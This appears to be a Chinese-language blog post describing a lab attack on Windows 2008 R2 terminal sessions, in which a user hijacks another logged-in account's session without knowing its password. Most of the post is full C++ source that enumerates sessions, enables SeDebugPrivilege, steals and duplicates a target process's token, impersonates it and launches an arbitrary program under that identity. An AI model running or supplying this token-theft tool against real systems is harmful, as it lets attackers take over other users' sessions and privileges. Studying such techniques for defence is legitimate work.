• 终端SESSION 下的攻击


    使用场景:

        一台机器上有两个用户登录会话,想要查看并操作另一个会话但是又没有办法抓到管理员密码
       

    使用权限:

        adminitrator 或者system权限


    实验环境:

        1 : windows 2008 r2 
        2 : administrator 账户session id = 2
        3 : catcher账户session id = 1
        4 : 在catcher账户模拟session 2 操作administrator(这里catcher权限太低需要提权)

    实验效果:

      1:查询会话id以及对应会话运行程序

        

      2:在catcher账户中模拟administrator账户的seesion对adminstrator进行操作(这里catcher账户权限太低,所以做了个提权处理)

        

    总结:

        如果做成服务启动的话,administrator权限下就可以获得system权限token,可以对任意session进行模拟。

    源码:

    #include <iostream>
    #include <Cstring>
    #include <windows.h>
    #include <Wtsapi32.h>
    #include <iphlpapi.h>
    #include <WinBase.h>
    #include <Tchar.h>
    #include <Psapi.h>

    #pragma comment(lib, "Advapi32.lib")
    #pragma comment(lib, "Wtsapi32.lib")
    #pragma comment(lib,"Psapi.lib")

    using namespace std;

    bool GetSessionDomain(DWORD dwSessionId, char domain[256])
    {
        LPTSTR        pBuffer = NULL;
        DWORD        dwBufferLen;

        BOOL bRet = WTSQuerySessionInformation(
                                        WTS_CURRENT_SERVER_HANDLE,
                                        dwSessionId,
                                        WTSDomainName,
                                        &pBuffer,
                                        &dwBufferLen);
         if ( !bRet )
         {
            printf("WTSQuerySessionInformation Failed!/n");
            return false;
         }

         lstrcpy(domain,pBuffer);
         WTSFreeMemory(pBuffer);

         return true;
    }

    bool GetSessionUserName(DWORD dwSessionId, char username[256])
    {
        LPTSTR        pBuffer    = NULL;
        DWORD        dwBufferLen;
        
        BOOL        bRet = WTSQuerySessionInformation(
                                            WTS_CURRENT_SERVER_HANDLE,
                                            dwSessionId,
                                            WTSUserName,
                                            &pBuffer,
                                            &dwBufferLen);
        if ( !bRet )
        {
            printf("GetSessionUserName Failed!/n");
            return false;
        }

        lstrcpy(username ,pBuffer);
        WTSFreeMemory(pBuffer);

        return true;
    }

    /* 遍历所有session id 函数 */
    int EnmumSessionId()
    {
        WTS_SESSION_INFO    *sessionInfo = NULL;
        DWORD                sessionInfoCount;
        char                domain[256];
        char                username[256];
        unsigned int        userCount = 0;
        int                    num=0;
        
        BOOL bRet = WTSEnumerateSessions(
                                    WTS_CURRENT_SERVER_HANDLE,
                                    0,
                                    1,
                                    &sessionInfo,
                                    &sessionInfoCount);
        if ( !bRet )
        {
            return false;
        }
        
        for (int i = 0; i < sessionInfoCount;++i)
        {
             if( (sessionInfo[i].State == WTSActive) ||
                    (sessionInfo[i].State == WTSDisconnected) )
             {
                 printf("session %d information: ",num++);
                 printf(" sessionInfo.SessionId=%d ",sessionInfo[i].SessionId);
                 GetSessionDomain(sessionInfo[i].SessionId, domain); //获得Session Domain
                 printf(" Session Domain = %s ",domain);
                 GetSessionUserName(sessionInfo[i].SessionId,username);
                 printf(" Session username = %s ",username);
             }
        }

        // 获取当前sessionid
        DWORD dwSession = WTSGetActiveConsoleSessionId();
        printf("[*] Current Active SessionId = %d ",dwSession);

        // 释放内存
        WTSFreeMemory(sessionInfo);

        return 0;
    }

    /* 提升权限函数 */  
    BOOL EnableProcessPrivilege(LPCTSTR lpszPrivName, BOOL bEnable = TRUE)
    {
            HANDLE hToken;
            TOKEN_PRIVILEGES tkp;
            BOOL bRet = FALSE;

            bRet = OpenProcessToken(
                            GetCurrentProcess(),
                            TOKEN_ALL_ACCESS_P,
                            &hToken);

            if (bRet == FALSE)
            {
                    printf("OpenProcessToken error ");
            }

            bRet = LookupPrivilegeValue(
                                    NULL,
                                    lpszPrivName,
                                    &tkp.Privileges[0].Luid); //修改进程权限
            tkp.PrivilegeCount = 1;  
            tkp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : SE_PRIVILEGE_REMOVED;

            bRet = AdjustTokenPrivileges(
                                    hToken,
                                    FALSE,
                                    &tkp,
                                    0,
                                    (PTOKEN_PRIVILEGES)NULL,
                                    0); //通知系统修改进程权限
            bRet = TRUE;

            CloseHandle(hToken);
            return bRet;
    }


    int main( int argc,char **argv )
    {
        HANDLE    hTokenDup = NULL;
        DWORD dwSessionId = 0;
        HANDLE    hToken = NULL;
        HANDLE hNewToken = NULL;    
        DWORD dwProcessId = atoi(argv[1]);

        /* 提升当前进程权限 */
        if ( !EnableProcessPrivilege(SE_DEBUG_NAME, TRUE) )   //SE_DEBUG_NAME
        {
            printf("[*]:EnableProcessPrivilege failed ");
            return false;
        }

        /* 通过pid打开进程 */
        HANDLE hProcess = OpenProcess(
                                PROCESS_QUERY_INFORMATION ,
                                FALSE,
                                dwProcessId); // 得到进程句柄
        if ( NULL == hProcess )
        {
            printf("[-]:OpenProcess GetLastError : %d ",GetLastError());
            CloseHandle(hProcess);
        }

        /* 获得进程令牌 */
        BOOL bRet = OpenProcessToken(
                                hProcess,
                                TOKEN_ALL_ACCESS,
                                &hToken); // 打开进程令牌
        if ( FALSE == bRet )
        {
            printf("[-]:OpenProcessToken GetLastError : %d ",GetLastError());
            CloseHandle(hToken);
            CloseHandle(hProcess);
        }

        /* 通过pid获取用户session id*/

        DWORD dwLength = 0;
        DWORD tsi = 0;

        if (!GetTokenInformation(
                            hToken,         // handle to the access token
                            TokenSessionId,    // get information about the TokenSessionId
                            &tsi,   // pointer to TokenSessionId buffer
                            0,              // size of buffer
                            &dwLength       // receives required buffer size
          ))
        {
            if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
            {
                return false;
            }
        }

        if (!GetTokenInformation(
                            hToken,         // handle to the access token
                            TokenSessionId,    // get information about the TokenSessionId
                            &tsi,   // pointer to TokenSessionId buffer
                            dwLength,       // size of buffer
                            &dwLength       // receives required buffer size
             ))
        {
          return false;
        }

        printf("[*]:Patch sessionId = %d ",tsi);
        printf("[*]:Patch processId = %d ",dwProcessId);
        printf("[*]:Enable Process Privilege successful ");
        
        /* 复制一个进程令牌,目的是为了修改session id属性,以便在其它session中创建进程 */
        BOOL bRes = DuplicateTokenEx(
                                hToken,
                                MAXIMUM_ALLOWED,
                                NULL,
                                SecurityIdentification,
                                TokenPrimary,
                                &hTokenDup);  
        if ( !bRes )
        {
            CloseHandle(hTokenDup);
            CloseHandle(hToken);
        }
            
        if (!ImpersonateLoggedOnUser(hTokenDup))
        {
            printf("[-]:ImpersonateLoggedOnUser GetLastError: %d ",GetLastError());
            CloseHandle(hTokenDup);
        }

        /* 把session id设置到备份的令牌中
        BOOL bsRet = SetTokenInformation(
                                    hTokenDup,
                                    TokenSessionId,
                                    &tsi,                //&dwSessionId,
                                    sizeof(DWORD));
        
        if ( !bsRet )
        {
            printf("[-]:SetTokenInformation GetLastError: %d ",GetLastError());
            CloseHandle(hTokenDup);
            CloseHandle(hToken);
        }
        */
        /* 创建进程*/
        STARTUPINFO   si = {0};
        PROCESS_INFORMATION   pi = {0};
        char path[MAX_PATH];
        lstrcpy(path,argv[2]);  //参数2

        ZeroMemory(&si, sizeof(STARTUPINFO));
        ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

        BOOL status =  CreateProcessAsUser(
                                hTokenDup,            // client's access token
                                NULL,   // file to execute
                                (char *)path,     // command line
                                NULL,              // pointer to process SECURITY_ATTRIBUTES
                                NULL,              // pointer to thread SECURITY_ATTRIBUTES
                                FALSE,             // handles are not inheritable
                                NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT ,   // creation flags
                                NULL,              // pointer to new environment block
                                NULL,              // name of current directory
                                &si,               // pointer to STARTUPINFO structure
                                &pi                // receives information about new process
                                );
        if ( !status )
        {
            printf("[-]:CreateProcessAsUser GetLastError:%d ",GetLastError());
            RevertToSelf();
            CloseHandle(hTokenDup);
            CloseHandle(hToken);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
        printf("[*]:CreateProcess successful ");
        RevertToSelf();
        CloseHandle(hTokenDup);
        CloseHandle(hToken);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

        return 0;
    }
  • 相关阅读:
    poj 2485 Highways 最小生成树
    hdu 3415 Max Sum of MaxKsubsequence
    poj 3026 Borg Maze
    poj 2823 Sliding Window 单调队列
    poj 1258 AgriNet
    hdu 1045 Fire Net (二分图匹配)
    poj 1789 Truck History MST(最小生成树)
    fafu 1181 割点
    减肥瘦身健康秘方
    人生的问题
  • 原文地址:https://www.cnblogs.com/persuit/p/5953151.html
Copyright © 2020-2023  润新知